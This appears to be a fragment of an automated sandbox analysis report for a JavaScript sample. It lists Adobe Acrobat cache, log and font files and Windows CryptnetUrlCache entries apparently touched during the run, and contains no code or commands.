C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f1decc35-1e3b-4b53-a459-64c53be7d794.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.740

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1353125634235611874.js